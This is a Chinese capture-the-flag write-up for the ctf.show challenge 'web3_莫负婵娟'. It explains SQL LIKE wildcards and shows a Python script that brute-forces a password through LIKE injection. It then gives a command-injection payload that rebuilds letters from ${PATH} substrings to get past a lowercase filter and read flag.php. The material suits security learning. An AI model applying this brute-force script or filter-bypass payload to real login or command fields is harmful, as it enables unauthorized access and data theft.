web3_莫负婵娟

67815b0c009ee970fe4014abaa3Fa6A0又是被虐的一天

进入正题

打开链接是个登录页面,没有注册的,猜测是sql注入,简单试几个命令

web3_莫负婵娟

 

 发现能过滤的都被过滤了,这还怎么玩,查看源代码,原来如此

<!--注意:正式上线请删除注释内容! -->
  <!-- username yu22x -->
  <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

给出了用户名,又给出了数据库查询语句,这很good

这里用到了like注入,就是模糊匹配

% 表示零个或多个字符的任意字符串

_(下划线)表示任何单个字符

简单举个例子,创建一个名为"Persons"的表,如下

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York
3 Carter Thomas Changan Street Beijing

 

比如要查这个表里的某个数据

我们希望从上面的 "Persons" 表中选取居住在以 "N" 开始的城市里的人:

我们可以使用下面的 SELECT 语句: SELECT * FROM Persons WHERE City LIKE 'N%'

它会自动查找到以N开头的字符串

所以结果是

Id LastName FirstName Address City
2 Bush George Fifth Avenue New York


既然我们知道了这个,首先_可以表示任何单个字符,我们可以直接用脚本爆破出它的密码

这里附上大佬脚本

import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://15ba58d4-891b-4ca7-b771-3bb8efebbfdf.challenge.ctf.show:8080/login.php'

pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

web3_莫负婵娟

 

 

 如图,密码是67815b0c009ee970fe4014abaa3Fa6A0

接着进来以后,发现像命令执行

简单尝试一下

web3_莫负婵娟

 

web3_莫负婵娟

 

 

 

 尝试了几个命令,别想了,输个字母都是违法的。。。。。。。最后看大佬博客才知道,好家伙把小写字母都过滤了

这里又用到了一个新的知识点

使用$PATH环境变量来截取字母

比如

web3_莫负婵娟

 

 

 web3_莫负婵娟

 

那我们直接构造 nl flag.php

127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???

代码,得到falg

web3_莫负婵娟

 

 

 

 


上一篇:网络安全与网站安全及计算机安全:如何使用Kali Linux进行内网或局域网安全演练?


下一篇:iptables